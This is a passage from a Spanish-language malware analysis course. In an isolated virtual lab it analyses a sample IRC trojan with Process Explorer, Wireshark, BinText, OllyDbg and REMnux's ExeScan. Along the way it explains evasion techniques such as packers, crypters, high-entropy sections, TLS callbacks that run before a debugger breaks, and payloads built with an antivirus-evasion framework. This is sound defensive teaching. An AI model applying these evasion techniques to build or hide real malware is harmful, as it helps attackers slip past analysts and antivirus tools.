Ahora démosle un vistazo al Explorador de procesos o “Process Explorer”, como previamente se

había ejecutado, vemos que nos encontramos con el proceso activo del malware, en donde nos
especifican mediante columnas el nombre del proceso, el PID, la Descripción sobre este
proceso y el nombre de la compañía (Si es que se proporcionó uno):

Imagen 5.16: Proceso “[Link]” en explorador de procesos.

Desde este panel veamos las propiedades de este proceso, al hacerlo se abrirá la siguiente
ventana, de las pestañas que contiene, seleccionemos “TCP/IP”, para que veamos detalles de la
conexión generada por este binario

Imagen 5.17: Propiedades de conexión del proceso “[Link]”

Algo que también podemos ver en este panel, son las variables de entorno involucradas en este
proceso, en la pestaña “Environment” nos encontraremos con las variables de entorno que
trabajan con este proceso, esta información se ordena por el nombre de la variable y el valor que
tiene para este evento o proceso:

257
 Imagen 5.18: Variables de entorno involucradas en la ejecución de “[Link]”

Como se vio en esta demostración, se siguió una serie de pasos para hacer un simple
entendimiento de cómo se comporta este malware al ser ejecutado sobre el equipo, en donde
pudimos encontrar operaciones de conexión, de escritura sobre el disco, de modificaciones
en el registro de Windows, además de que vimos información detallada acerca de los eventos
generados por el mismo malware al momento de su ejecución.

Al comienzo vimos en que se estableció una conexión al momento de la ejecución del binario, así
como sus atributos de conexión “TCP/IP”, es momento de ver más a detalle el funcionamiento de
esta conexión, para esto haremos uso de analizadores de red para tener un panorama más
extenso de esto.

258
Analizando el tráfico la red con Wireshark.

Es bastante crucial que en una red donde se encuentra un host o equipo que se ha visto
comprometido, sea monitoreada por un analizador de red para así tener un panorama más
extenso de que es lo que ocurre en el tráfico de esta red cuando alguna muestra de malware es
ejecutada o está en función.

¿Qué utilidad tiene esto?

Es de suma importancia saber cómo es que se interpreta el tráfico en una red donde reside
algún software malicioso en función. Cabe mencionar que no existe una formula general para
averiguar o saber si dentro de la red existe una infección por malware simplemente por poner a
trabajar un Sniffer/Analizador de red, puesto a que existe una infinita diversidad de malware
así como comportamientos diferentes de este. Puede resultar algo laborioso y complejo este
trabajo, ya que toman en cuenta muchas cosas e intervienen muchos factores como los protocolos
de red, el tener bien definido cuál es el “trafico normal” o habitual en red, etc. Sin embargo, existen
indicadores, como el que haya más conexiones de lo normal, consultas DNS (DNS queries)
extrañas o desconocidas, que se genere mucho tráfico desde un solo cliente (Host), patrones de
envío de datos ya sea por tiempo o por acción.

Aproximándonos.

Este segundo ejercicio constará de analizar la red mientras el malware que se ejecutó con
anterioridad está en función.

¿Qué se necesitará?

Se hará uso de 3 VM´s:

 Windows 7
 Parrot Security OS 3.4
 Remnux 6.0
 Todas las máquinas virtuales deben de tener el adaptador de red en modo NAT.

259
Interpretando el tráfico de forma segura.

Es importante que cuando se haga análisis al comportamiento de un malware en la red, se hagan

pruebas o “tests” re direccionando el tráfico hacía un host seguro para que veamos y entendamos
mejor cómo se interpreta el envío de los paquetes involucrados en este enlace de comunicación.

Por ello, te hemos proporcionado con una distro orientada exclusivamente al estudio y análisis del
malware, su nombre es “Remnux”, y es una distro Linux que dispone de un extenso repertorio de
herramientas o “toolkit” para examinar muestras de malware que sirve de apoyo para analistas o
para personal de grupo de respuesta a incidentes de seguridad informática. Se puede conseguir
la versión más reciente desde el sitio [Link]

Su peso es alrededor de 2 GB, y es un archivo OVA, así que puedes importarlo a tu plataforma de
virtualización preferida, en este caso VMware, una vez importada y encendida te pedirá un usuario
y un password, estos son “remnux” y “malware”. Ésta VM viene incluida en el material referente
a este capítulo.

Imagen 5.19: Importación de Remnux.

Asumiendo que las 3 máquinas virtuales están en función y con el adaptador de red correctamente
configurado y que la VM de Windows 7 fue reiniciada y está operando normalmente, es momento
de que comencemos con esta demostración.

El primer paso que debemos hacer es cambiar la configuración del “[Link]” de Wireshark, ya
que si no se cambia, este será un error que se mostrará cada que iniciemos Wireshark, así que
cambiaremos la configuración de este file.

Imagen 5.20: Error causado por “Lua” deshabilitado.

260
Puedes entrar mediante interfaz gráfica o por CLI, una vez ubicado el directorio con el archivo, lo
abrirás para editarlo, en este caso se hizo con “nano” mediante línea de comandos, solo
cambiamos un valor “false” por uno “true” para habilitar esta función:

Imagen 5.21, 5.22 y 5.23: Ubicación y modificación de archivo “[Link]”

Una vez establecida la configuración previa, iniciamos Wireshark, ya sea por el menú de Parrot o
desde la terminal de comandos, cuando inicie, nos aparecerá el panel que se muestra en la
imagen, puesto a que las 3 VM´s están configuradas en modo NAT, tendremos que seleccionar la
interface de red sobre la que funcionará el analizador.

Puesto a que es NAT se trata de “eth0”, ya “emula un pequeño switch virtual”, y como que todas
las VM’s tienen esta interface de red en función, es importante esto ya que como se está trabajando
con piezas de software peligroso o bastante perjudicial, es bastante recomendable mantener el

261
laboratorio de pruebas aislado de la red de trabajo, y proporcionarle una propia y eso lo hace por
nosotros el establecer una configuración de adaptador en modo NAT.

Esto se debe a que nos proporciona un segmento de red virtual diferente al que nos encontramos
como sistema nativo, entendido lo anterior, seleccionaremos a “eth0” y pondremos al
Sniffer/Analyzer en función con el botón resaltado nombrado “Start Capture”, al hacerlo
ejecutaremos el malware en la máquina de Windows.

Imagen 5.24 y 5.25: Wireshark y Troyano.

Hecho lo anterior, volvamos a Wireshark y veamos lo que tiene para nosotros el analizador y qué
es lo que sucede en la red, dejemos funcionando el analizador por unos 10 segundos y después
detendremos la captura de paquetes:

262
 Imagen 5.26: Patrón de retransmisión de un host a otro.

Podemos ver que al momento de que se hizo la ejecución del malware en Windows, Wireshark
durante su captura muestra que se están haciendo consultas por protocolo TCP conteniendo un
paquete con detalles “SYN” con origen en la maquina Windows hacia “[Link]”, que fue
la dirección que vimos en el ejercicio anterior al revisar detalles del proceso “[Link]”.

También se están realizando consultas DNS (DNS Queries) hacia “[Link]”, con una dirección
de origen “[Link]” (Windows en este caso), hacia el destino “[Link]” (Default
Gateway o Puerta de enlace - Internet), mediante protocolo DNS.

Ahora, analizaremos este tráfico re direccionándolo hacia otra máquina, en este caso se trata de
“Remnux 6.0”, la cual servirá como destino del tráfico saliente de la VM de Windows. Para esto
tendremos que modificar el archivo “hosts” que reside en “C:\Windows\System32\drivers\etc”,
lo abriremos con “Notepad ++” que ya viene instalado, al final del archivo agregaremos un renglón
con la dirección IP de la VM de “Remnux”, seguido del valor hacia donde se hacia la consulta DNS
([Link]), como son archivos “protegidos” al guardarlo nos saldrá este aviso de que debemos
correr Notepad ++ como administradores, aceptaremos eso:

Imagen 5.27 y 5.28: Host de Remnux colocado y cambios a guardar.

263
 Imagen 5.29: Dirección IP de Remnux.

Una vez configurado todo lo anterior, terminaremos el proceso del “[Link]” en Windows,
pasaremos a Wireshark a reiniciar la captura de paquetes, ya reiniciada, ejecutaremos de
nuevo el malware de “[Link]” y veremos que sucede:

Imagen 5.30, 5.31 y 5.32: Tráfico en Wireshark y paquetes no entregados.

Podemos notar que el origen del tráfico o paquetes sigue siendo el mismo, en cambio el destino no,
ya que aparece la dirección IP de Remnux, también algo que obviamente notaste es el color con el
que sobresalen ciertos paquetes, esto se debe a que no están siendo entregados de la forma
correcta (no están llegando). Puedes notar también que se repite un patrón de retransmisión ya
que no se entregan los paquetes, y que busca llegar hacia un puerto en específico, el 6667, que es en
264
donde común mente corre el IRC, puesto a que en Remnux no está habilitada esta función (por el
momento), la habilitaremos con un simple comando: “ircd start”

Imagen 5.33: Comando para iniciar función IRC en Remnux.

Teniendo el IRC en función, repitamos los pasos anteriores desde finalizar el proceso hasta
ejecutar el malware de nuevo, (no es necesario cambiar el archivo de los hosts):

Imagen 5.34, 5.35 y 5.36: Reinició de captura, paquetes entregados a su destino y opción “TCP Stream”.

Ahora podemos ver que el tráfico está fluyendo normal, en un ambiente seguro, también podrás
ver que el origen del paquete ahora es Remnux y el destino es hacia Windows, este fue un
“Response” con ACK, veamos que tiene para nosotros, para ello harás clic derecho en él y
seleccionarás la opción “Follow” con el parámetro “TCP Stream”.

Antes de continuar es importante que sepas algo, seguro habrás notado durante la inspección de
tráfico, que algunos paquetes tenían/tienen las banderas “SYN, ACK, RTS”, esto se debe a que
forman parte del 3-way Handshake del protocolo TCP/three message handshake o SYN-SYN-

265
ACK, es el método utilizado por el protocolo TCP para establecer una conexión TCP / IP a través
de una red

Ésta técnica hace referencia a este nombre porque hay tres mensajes transmitidos por TCP
para negociar e iniciar una sesión TCP entre dos equipos. En el caso donde había un patrón
de retransmisión, se mostraban las banderas por qué no había modo de negociar ni establecer
conexión entre ambos equipos.

Entendido lo anterior continuamos, ya hecho el “Following” por TCP, nos encontramos con esto:

Imagen 5.37: Output del TCP Stream sobre el paquete seleccionado.

El resultado que arroja este output nos dice que el host se ha unido a un canal IRC de nombre
“daFuck”, con el nickname “mikey”, en nombre del usuario “fight me, pussy”, más abajo vemos
información acerca de nuestro host “Remnux” estableciendo conexión exitosa con este canal IRC,
en los renglones se confirma información detallada sobre la función del IRC, la mayoría de las
veces que se consigue esta información es mediante un breve “Fingerprinting”. Con esta
demostración se ejemplificó como interactuar con un analizador de red para estudiar el tráfico que
se genera gracias a la ejecución de un determinado malware, así como también el colocar el flujo
de este tráfico en un ambiente de trabajo seguro.

266
Cifrado interno del Malware (Inner Encryption).

Tradicionalmente, los esquemas de cifrado han proporcionado la definición de todo o ningún

acceso a los datos, básicamente los usuarios pueden recuperar todos los datos completamente o
no recuperarlos en lo absoluto, con el paso del tiempo se han implementado numerosos métodos
de cifrado o protección de datos, esto con la finalidad de mantener un control más riguroso de la
lectura o acceso a la información, el caso del malware no es la excepción, el software malicioso
siempre contiene información dentro de él, en este caso, trabajaremos con el binario
proporcionado. Para esto haremos uso de 2 programas que nos ayudarán a aproximarnos de esa
manera, Olly Debugger y BinText, este último nos ayudará a ir en búsqueda de todos los Strings
existentes en el binario.

NOTA: En el libro COISP nivel 1, se toca un tema similar en el capítulo de “Cracking”, en donde se cazan
los passwords y usuarios mediante el método “String References”

¿Qué necesitarás?

 Trabajarás sobre la VM de Windows 7

 BinText.

BinText será nuestro mazo en esta demostración, la funcionalidad de esta herramienta es ser un
potente, liviano y rápido extractor de texto, puede servir de apoyo tanto para analistas de
malware como para programadores, puede extraer texto (Strings) de la mayoría de los tipos
de archivos, incluida la extracción de ASCII en texto plano.

Dentro del material existente en el folder “Malware Analysis” en Windows, se encuentra ésta
herramienta, aunque puedes descargarla del sitio oficial de McAfee.

[Link]

267
Al ejecutarlo, veremos un panel como el siguiente, en done vemos un campo para seleccionar el
file con el que se va a trabajar, seleccionaremos “Browse” para buscar nuestro troyano, una vez
colocado, presionaremos “Go”:

Imagen 5.38: BinText

Al hacerlo, veremos que nos parecerá el siguiente “Output” o resultado, en donde nos indica el
tiempo que tomo la extracción y su peso en Bytes, así como el texto que se pudo recuperar:

Imagen 5.39: Extracción Completada y detalles.

Más abajo en el contenido del output, en la columna “Text” nos encontramos con los siguientes
valores, en donde vemos que el “malware” intenta hacer escritura sobre el disco al crear o hacer
un “spawn” de un File nombrado “[Link]”, este no fue completado:

Imagen 5.40: Strings referentes al “Spawning” del File.

268
Veamos ahora más abajo en el output, y nos encontraremos con los siguientes valores en la
columna “Text”:

Imagen 5.41: Strings referentes a la escritura sobre el registro de Windows.

Es más que obvio, que estos valores te son familiares, si, se trata de la rutina de escritura de la
llave en el registro de Windows, en donde operaba el “Service Profiler” que permitirá que esta
función se activase cada que él equipo fuese reiniciado o booteara. Otros valores extraños que
podemos ver en el “Output” de BinText es este patrón de inicio, proceso y fin de conexiones, en
donde claramente se ve como hacen su trabajo los sockets que existen en el código de este
malware:

Imagen 5.42: Strings Referentes al modo de operación del código de los sockets.
269
Analizando rutinas de cifrado con Olly Debugger.

Previamente se había comentado acerca de la metodología del análisis estático, en donde se

comentaba que se analizaba el código de alguna muestra de malware o software malicioso sin
necesariamente tener que ejecutarlo, como en el análisis dinámico. Esto se hace mediante la
inspección del código usando diferentes técnicas, herramientas, métodos, formas, etc. Para ello,
se va a requerir usar ingeniería inversa, ya que habrá descompilar y que examinar el código en su
lenguaje nativo o en lenguaje maquina/ensamblador (Assembler), puesto a que se requiere
estudiar en muchos caso instrucción por instrucción, básicamente estaremos revisando y
analizando las “entrañas” del malware. A estas alturas asumimos que tienes conocimientos acerca
de lenguaje ensamblador y reversing, si buscas aprender más a detalle sobre ello puedes leer el
capítulo 5 del libro COISP nivel 1.

Se puede hacer esto de diferentes formas, con diferentes herramientas, tu arma de fuego será un
Debugger; OllyDbg.

OllyDbg es un depurador de código ensamblador de 32 bits para sistemas operativos Microsoft

Windows. Pone especial énfasis en el análisis del código binario, esto lo hace muy útil cuando no
está disponible el código fuente del programa. Traza registros, reconoce procedimientos, llamadas
a las API, swiches, tablas, constantes y strings, así como localiza rutinas de archivos objeto
y de bibliotecas. De acuerdo con la ayuda incluida en el programa, la versión 1.10 es la última
versión estable. La versión 2.0, que está en desarrollo, se está escribiendo desde cero. Las
versiones actuales de OllyDbg no pueden depurar ejecutables compilados para procesadores de
64 bits, aunque se ha prometido una versión de 64 bits del depurador.

OllyDbg es frecuentemente usado para la ingeniería inversa de programas. Es frecuentemente

usado por Crackers para crackear software hecho por otros desarrolladores. Es a menudo la
herramienta primaria para cracking e ingeniería inversa debido a su facilidad de uso y
disponibilidad. Es también útil para que los programadores se aseguren de que su programa está
corriendo según lo previsto.

NOTA: En el capítulo 5 del libro COISP 1, viene mucha más información a detalle sobre el
uso de “OllyDbg” para tareas de reversing y cracking.
270
Teniendo entendido lo anterior, pasaremos a realizar nuestro ejercicio, la herramienta “OllyDbg”
la encontrarás en el Folder “Malware Analysis” que está en escritorio de la VM de Windows. Será
necesario ejecutar este programa con permisos de administrador:

Imagen 5.43: Ejecución de OllyDbg.

Al abrirse, seleccionaremos en el menú “File” la opción “Open” y desde ahí cargaremos nuestro
binario “[Link]”:

Imagen 5.43: Función “Open” en OllyDbg.

Al abrir la muestra, se hará un Debugging del binario y se mostrará lo que la imagen debajo, el
panel de trabo de OllyDbg consta de 4 partes, al igual que con Immunity Debugger:

Imagen 5.44: Partes principales de “OllyDbg”.

271
  Esta parte está dividida en 4 columnas, en la primera se puede ver la dirección de memoria
o “Memory address”, en la segunda se muestra el código de operación de la instrucción
que se halla en esa dirección, el lenguaje máquina está hecho con estos códigos de
operación, que son lo que el CPU está ejecutando en realidad. En la tercera columna se
encuentra el código ensamblador, y la cuarta es la que contiene comentarios, estos los
produce el Debugger, sin embargo, tú puedes cambiarlos.

 Registers (Registros): Aquí se pueden visualizar todos los registros del CPU y sus valores,
se pueden ver registros de propósito general (General Purpose) los cuales contienen
valores temporales, y también se ven registros para controlar el flujo del programa, también
se pueden ver registros bandera, los cuales el CPU cambia cuando ha ocurrido algo
importante o notorio (como un Overflow).

 Dump (Volcado): Esta ventana muestra la vista hexadecimal del programa completo,
dividida en 3 columnas, la primera muestra la dirección, la segunda los valores que se
hallan en esa dirección, y la última muestra cometarios.

 Stack (Pila): Muestra la locación de memoria a la que apunta el registro “ESP”.

Bajemos un poco más hasta donde nos ubiquemos en la parte donde se encuentra una rutina de
“Push & Calls”:

Imagen 5.45: Descripción de columnas en zona de “Disassembler”.

272
Aquí hay algo importante que recalcar, puesto a que cada columna sobresaliente tiene su finalidad
o función en lo que haremos (aquí y con otro programa que descompiles).

 Offsets o dirección de memoria: Hace referencia a la dirección de un valor.

 Opcodes: Siendo parte del lenguaje máquina, proporciona la instrucción operación a ser
realizada.
 Código ensamblador: Son las instrucciones de ensamblaje.

Entendido lo anterior, vemos que hay una rutina de “Pushs & Calls”, en donde los valores “Push”
están siendo arrojados a la pila o “Stack” y enseguida ocurre una llamada hacia una rutina, hacia
“004012C6”, y de nuevo el valor en ASCII está siendo llevado a la pila con “PUSH” y llama de
nuevo a la rutina con la dirección “004012C6”.

Imagen 5.46: Rutina de Push & Calls en zona de “Disassembler”.

Lo que parece ser con esto es que el binario trae consigo una rutina de descifrado, ya que es
común que operen de esta manera en muestras de malware no tan sofisticado o complejo, por lo
que puede ser posible que el software use una funcionalidad de este tipo. Analicemos más a detalle
cómo es que funciona esta rutina del proceso de descifrado, una forma de conseguirlo es
colocando un Breakpoint justo en donde comienza esta rutina, colocar un punto de ruptura
(BreakPoint) sobre una instrucción nos es útil para que cuando el programa pase por ella o por

273
alguna de esas instrucciones detenga su ejecución en su totalidad y podamos analizar su
comportamiento.

Para colocarlo basta con seleccionar la instrucción, hacer clic derecho, usar la función
“Breakpoint” y seleccionar la opción “Toggle”:

Imagen 5.47: Función Breakpoint.

Al hacerlo, se sombreará con color rojo el Offset, ya teniendo el punto de ruptura colocado,
reiniciaremos el programa con el siguiente botón, por lo que nos aparecerá un mensaje de
advertencia por reiniciar el programa, presionaremos en el “Si”:

Imagen 5.48 y 5.49: Botón de reinicio y alerta.

Seguido de eso, aparecerá como al comienzo, sobre la misma instrucción inicial, como colocamos
el punto de ruptura más adelante después de muchas instrucciones, este se detendrá sobre la
que lo hayamos colocado, para hacer esto habrá que correr el programa, esto se consigue con
el siguiente botón:
274
 Imagen 5.50: Botón “Run”.

Al hacerlo, como es un programa pequeño, no tomará un parpadear para que ocurra la detención
justo en donde la colocamos y llevarnos allá en donde se ubica:

Imagen 5.51: Programa detenido en instrucción con Breakpoint.

Hasta este punto nos ubicamos en la instrucción con el Breakpoint, por lo que es momento de
analizar las demás instrucciones que hay debajo de esta y como es que funcionan e interactúan
con el programa, veamos si realmente se trata de una rutina de descifrado. Para ello usaremos el
botón “Step Over” para iniciar o correr instrucción por instrucción:

Imagen 5.52: Botón “Step Over”.

Al hacerlo vemos que se recorre la instrucción por haber sido ejecutada, mientras que del lado
inferior derecho se ve en el “Stack” o pila que se ha descifrado el contenido y se muestra el valor
“[Link]”

Imagen 5.53: Step over realizado y valor descifrado.

275
Continuemos, con el mismo proceso para descifrar el siguiente valor, como podrás ir viendo, se
hace y se seguirá haciendo un “CALL” hacia “004012C6”, por cada rutina de “Push & Calls” que
finaliza, obtenemos un resultado como vemos el siguen valor descifrado es “mickey”:

Imagen 5.54: Instrucciones siendo ejecutadas.

Continuemos con el siguiente valor, vemos que es el mismo proceso, ahora el siguiente valor es
“setpr”:

Imagen 5.55: Instrucciones siendo ejecutadas.

276
Ya has entendido como funciona el patrón, sigue los pasos hasta que termines con el bloque en
donde se encuentra esta rutina de “Push & Calls”, en donde al final tus valores en la pila serán
estos:

Imagen 5.56: Valores siendo descifrados, mostrados en el Stack.

Si prestas atención cuando los valores en ASCII son descifrados y arrojados a la pila, también se
muestra su valor ya descifrado en el área de Disassembler:

Imagen 5.57 y 5.58: Antes y después de ejecución de instrucciones y rutina.

277
Al finalizar este proceso podemos que tanto lo que está en la zona del “Disassembler” como lo
que está en el “Stack” o Pila, son valores idénticos:

Imagen 5.59: Valores descifrados en el “Stack” y cambiados en el “Disassembler”.

A lo largo de los ejercicios y demostraciones que has visto hasta ahora en este capítulo se ha
ejemplificado como es que opera un simple troyano en un equipo, que cambios y modificaciones
hace o intenta hacer, hacia donde se conecta, que especificaciones debe tener el host al que busca
conectarse, que patrones de tráfico hay cuando este está en ejecución, que oculta, como logra su
persistencia en el equipo, etc. También se demostró el uso de diferentes herramientas para hacer
tanto análisis dinámico o análisis del comportamiento, como análisis estático, en donde se hizo
uso de un depurador de código o “Debugger”, en este caso “OllyDbg”, en donde se descompilo
el código mostrándolo en lenguaje maquina o ensamblador, para entenderlo más a detalle, en
donde se demostró el ir en busca de rutinas de descifrado de código ASCII para averiguar qué es
lo que resguarda, ejemplificando así como es usada una rutina de “PUSHS & CALLS” para hacer
este cometido.

Ahora, haremos uso de una distribución hecha exclusivamente para estudiar y hacer análisis de
malware mediante distintas formas, métodos y por supuesto, demasiadas herramientas, como
seguro lo estas suponiendo hablamos de Remnux, la que previamente se mencionó y usó para la
recepción y establecimiento de conexión con el troyano “[Link]”, así que demos por finalizada
esta introducción y vayamos a ver qué tiene Remnux para nosotros.
278
Remnux y el estudio de software malicioso.

Como previamente se comentó, es una distribución de Linux desarrollada con la finalidad de

funcionar como un lugar en donde hacer análisis a distintas muestras de malware mediante
diferentes metodologías, también se mencionó en donde y como conseguirlo.

Las infecciones de malware son una realidad diaria para todos, incluidos los profesionales de
seguridad empresarial, independientemente de lo el control de seguridad en el lugar. El malware
puede infiltrarse en las redes corporativas de varias maneras, desde la ocultación en los
ejecutables de Windows hasta el despliegue de los navegadores web. Si piensas ir por algo
gratuito, Remnux es tu opción perfecta, aquí es en donde aparece su extenso repertorio de
herramientas para lo anterior descrito.

¿Para qué te servirá Remnux?

Como se dijo, Remnux es una distro que contiene muchas herramientas gratuitas que sirven para
estudiar o hacer tareas de “reversing” a software malicioso. Está hecho para hacer más fácil la
tarea del personal forense o de los analistas. A continuación verás una lista de algunas cosas que
puede hacer:

 Manejar interacciones de red de laboratorio.

 Revisar múltiples muestras de malware.

 Analizar archivos o documentos maliciosos.

 Examinar el malware del navegador.

 Extraer y decodificar ítems sospechosos.

 Examinar las propiedades y el contenido de los archivos sospechosos.

 Investigue el malware de Linux y Windows.

 Realizar análisis forense a la memoria.

279
Entendido todo lo anterior, es momento de pasar al área de trabajo, como ya estás familiarizado
con su terminal de comandos pudiste notar que no es diferente el modo de uso que con Parrot
OS. Antes de continuar es importante que sepas algunos consejos y trucos sobre REMnux.

Al iniciarlo, verás en el escritorio 3 archivos nombrados como “REMnux Cheat Sheet”, “REMnux
Docs” y “REMnux Tools Sheet”:

Imagen 5.60: Escritorio de REMnux.

Dentro de estos archivos existe documentación relacionada tips y un listado de herramientas

existentes en REMnux, tómate unos minutos para revisarlo:

280
 Imagen 5.61, 5.62 y 5.63: Documentación relacionada a REMnux.

Quizás con las lecturas relevantes a los 2 archivos antes mencionados hayas interpretado un poco
mejor las aproximaciones que haremos con algunas de las herramientas que existen en REMnux,
es momento de ponernos a trabajar.
281
Análisis dinámico con REMnux.

Anteriormente se mencionó que el análisis dinámico era aquel en donde se hacía uso de
herramientas que requieren que se ejecutase alguna pieza de software para poder entender e
interpretar mejor su comportamiento (Behavioral Analysis), las primeras aproximaciones que
hicimos con esta metodología fue en donde se hacia la ejecución del malware mientras otros
programas filtraban toda acción que fuese detonada o llevada a cabo por esta ejecución y así
poder analizarla.

Este caso será un tanto diferente, usando la misma metodología; ahora trabajaremos con
diferentes ejecutables, siendo estos payloads hechos por un framework de evasión de antivirus
(Venom ShellCode Generator). Las muestras de malware se hallan en el escritorio de REMnux
en el folder “Executables”, el cual cuenta con otro folder (Backups), que gurda un respaldo de
cada muestra de malware en el caso de que se requiera usar. Como previamente se mencionó a
Venom ShellCode Generator, te preguntarás que tipos de payloads se crearon para estas
pruebas, fueron los siguientes:

 Ambos funcionales para Windows.

 El primero hecho en C para ser finalizado como un ejecutable.
 El segundo construido en Powershell (PSH) para finalizarse como un ejecutable.

Imagen 5.64: Payloads seleccionados.

La herramienta que usaremos ahora para aproximarnos mediante la metodología de análisis

dinámico será “ExeScan”, es una herramienta que funciona mediante línea de comandos, puede
encontrar anomalías dentro de un ejecutable e incluso DLL’s, que además ya viene precargada
en REMnux.

282
Su objetivo es analizar de forma dinámica más a detalle que es lo que está involucrado en la
ejecución de una muestra de malware. Puede hacer bastante trabajo por nosotros, entre lo que
puede detectar y ofrecernos se encuentra:

 El ejecutar el malware automáticamente y mostrar las anomalías que existen en el software.

 Si existe un “Packer” o protector, ExeScan podría decirnos cuál es.
 Encuentra API´s comúnmente usadas por el malware y arroja los resultados si es que
coinciden.
 Genera un reporte detallado.

Su modo de uso es bastante simple, abriremos una terminal en REMnux con el botón que se
muestra en la imagen:

Imagen 5.665: Ubicación de terminal.

Estando en la terminal, navegaremos al directorio referente al folder “Executables” que se halla

en el escritorio, llegando ahí ejecutaremos el comando “[Link] --help” para ver el modo de
uso y parámetros de configuración que existen para la herramienta:

Imagen 5.66: [Link] y su modo de uso.

283
Entre las opciones disponibles que vemos junto con su descripción, seleccionaremos solamente
el parámetro “-a” (Advanced Scan), como este engloba los demás parámetros de configuración,
no será necesario colocarlos. La sintaxis es [[Link]] [parámetro/s] [Path con el archivo]:

Imagen 5.67: Comando para iniciar a ExeScan.

Al hacerlo, se llevará a cabo de forma inmediata la ejecución del malware y veremos los
resultados que arroja la herramienta en base al análisis del comportamiento de esta pieza de
software.

Al comienzo de estos resultados podemos ver información acerca del autor y demás detalles
referentes al desarrollo de esta herramienta, más abajo encontraremos información acerca de la
muestra usada, como es el directorio donde reside.

También vemos un grupo de “Hashes”, tipo MD5, SHA/-1 y SHA-256, estos son comúnmente
proporcionados al momento de que se hace un análisis a una muestra de malware dentro de una
plataforma online, (NoDistribute, [Link], etc) por lo que pueden ser utilizados para la revisión
de ciertos binarios o ejecutables en esta plataformas.

¿Qué diferencias hay entre estos tres tipos de Hashes?

A decir verdad MD5 y SHA son funciones hash (SHA es en realidad una familia de funciones de
hash) - toman un bloque de datos, lo compactan (packing) y crean una salida convenientemente
única que es muy difícil de emular con una pieza diferente de datos. En realidad no cifran nada no
se puede tomar la salida MD5 o SHA y hacerle un "unhash" para volver al punto de partida. La
diferencia entre los dos radica en el algoritmo que utilizan para crear el hash.

Otro detalle que vemos es que “ExeScan” confirma que el tipo de archivo es un binario (EXE)

284
 Imagen 5.68: Hashes y Tipo de archivo.

También nos encontramos con un Banner nombrado “Signature [Compiler/Packer]”, del cual no
se arroja resultado alguno, esto se debe a que ninguno de los 2 artefactos anterior no fue
encontrado por “ExeScan”.

¿Cuándo y porqué aparecen estos resultados?

En ocasiones las herramientas que ensamblan el malware trabajan en conjunto con otras llamadas
(Packers o Protectores), estos hacen que resulte más difícil realizarle reversing a cierta muestra,
en pocas palabras, protegen hasta cierto punto a los ejecutables

Podemos notar que hay 2 Banners más:

 Address of Entry Point: Relativamente se trata de la dirección virtual que contiene la

dirección referente a la primer instrucción que será ejecutada cuando el software corra,
 Image base address: Esto no precisamente tiene que ver con malware, pero la explicación
es esta: En los ejecutables producidos para Windows NT, la base de imagen predeterminada es 0x10000. Para
DLL, el valor predeterminado es 0x400000. En Windows 95, la dirección 0x10000 no se puede utilizar para cargar
EXE/s de 32 bits porque se encuentra dentro de una región de dirección lineal compartida por todos los procesos.
Debido a esto, Microsoft ha cambiado la dirección base predeterminada para ejecutables de Win32 a 0x400000.

Imagen 5.69: Resultados de Packers y direcciones.

285
Vemos también que hay otro Banner nombrado “Sections”, este contiene columnas en donde se
especifica el nombre de las secciones existentes en el programa, una sección en un archivo PE
es aproximadamente equivalente a un segmento o los recursos en un archivo “New Executable”
NE. Las secciones contienen código o datos, estas secciones son bloques de memoria contigua
sin restricciones de tamaño.

Algunas secciones contienen código o datos que el programa declaró y utiliza directamente,
mientras que otras secciones de datos son creadas con la finalidad de contener información vital
para el sistema operativo. En algunas descripciones del formato PE, las secciones también se
denominan objetos (Ítems).

El término objeto tiene tantos significados sobrecargados que me limitaré a llamar a las secciones
de código y áreas de datos. Estas secciones tienen un nombre, una dirección virtual, un tamaño
en bytes y un valor de entropía, los altos valores/niveles de entropía pueden ser un indicio de
la existencia de malware.

Incluso estos altos valores de aleatoriedad pueden ayudar al investigador o analista a deducir su
el PE o binario pasó por un proceso de cifrado protección, ya que muchos “protectores” realizan
esta función, mientras mayor sea el nivel de entropía, mejor fue el proceso de compresión.

Un ejemplo claro son los Crypters, ya que muchos de ellos o por lo general utilizan el método de
aleatoriedad para hacer ofuscación al código que contiene el PE, para aclarar aún más esto
podemos tomar como ejemplo el tema del capítulo 4 en donde se utilizaron NOPs para ofuscar el
código, u otras técnicas para ingresar “basura” al ejecutable y esto ofusque el código.

¿Qué hace la entropía aquí?

En un apartado extra se comentó su uso y finalidad general, sin embargo, cuando se trata de
malware esto cambia un poco, y tiene que ver con criptografía. Los datos/código que está cifrado
o protegido evita que los antivirus hagan uso de su “engine” para desmenuzar el código al
inspeccionar el ejecutable y así tomar la decisión de categorizarlo en una amenaza o no.

286
 Imagen 5.70: Secciones con su dirección virtual, tamaño y entropía.

Otras indicaciones que ExeScan son la revisión de anomalías, lo que esta sección nos puede decir
son “cosas extrañas” que el script notó al momento de la ejecución de la muestra:

Imagen 5.71: Anomalías encontradas.

 La primer anomalía quiere decir que el tamaño del “Raw Data” es ilegal (no de la forma en
que tú piensas), si no que no es admisible, puesto a que el “Raw Size” es el tamaño exacto
de los datos del “Filesection” en el archivo. Lo cual podría hacer dejar de funcionar algún
Debugger, esto lo hacen para hacer más complicado o tardado el proceso de análisis
dinámico.
 La segunda anomalía indica qué se detectaron caracteres de tipo “non-ASCII” y secciones
vacías, esto es comúnmente utilizado para evadir soluciones antivirus y mantener su no-
detección.
 La tercera anomalía muestra indicios de funciones TLS apuntando a la dirección x407020.

287
¿Qué es TLS y como es aprovechado en el desarrollo de malware?

TLS (Thread Local Storage) es un mecanismo que le permite a Windows el definir objetos de
datos (Data objects) como variables automáticas, referentes al stack, sino que son locales a cada
hilo (Thread) individual que ejecuta el código, por lo que cada hilo puede mantener un valor
diferente para una variable declarada usando al TLS. Esta información se almacena en los
“Headers” del PE. (Windows utiliza los “Headers” del PE para almacenar metadatos sobre el
ejecutable para cargarlo y ejecutarlo

Entendiendo que es y cuál es su finalidad del TLS, veamos cómo es que se involucra con el
malware: Los analistas a menudo inspeccionan el código de una muestra de malware mediante
análisis estático empezando por las instrucciones ubicadas en el “Entry Point” del ejecutable.
Este punto de entrada es un campo en el encabezado o “Header” del PE que almacena la
dirección de la primera instrucción en el programa que se supone que Windows ejecuta, Los
Debuggers comúnmente nos llevan ahí justo después de cargar el ejecutable.

Las funciones de devolución (callback) de llamada TLS permiten al malware ejecutar código
malicioso antes de que el Debugger tenga la posibilidad de poner una pausa en el “Entry Point”
(Usando un Breakpoint). Esto permite que el malware infecte el sistema o desactive el depurador
antes de que el analista tenga la oportunidad de ver el código de la muestra.

 La ultima anomalía indica que el RVA (Remote Vendor Access) contiene un callback
(llamada de devolución) en la dirección 0x7020. Las devoluciones de llamada del malware
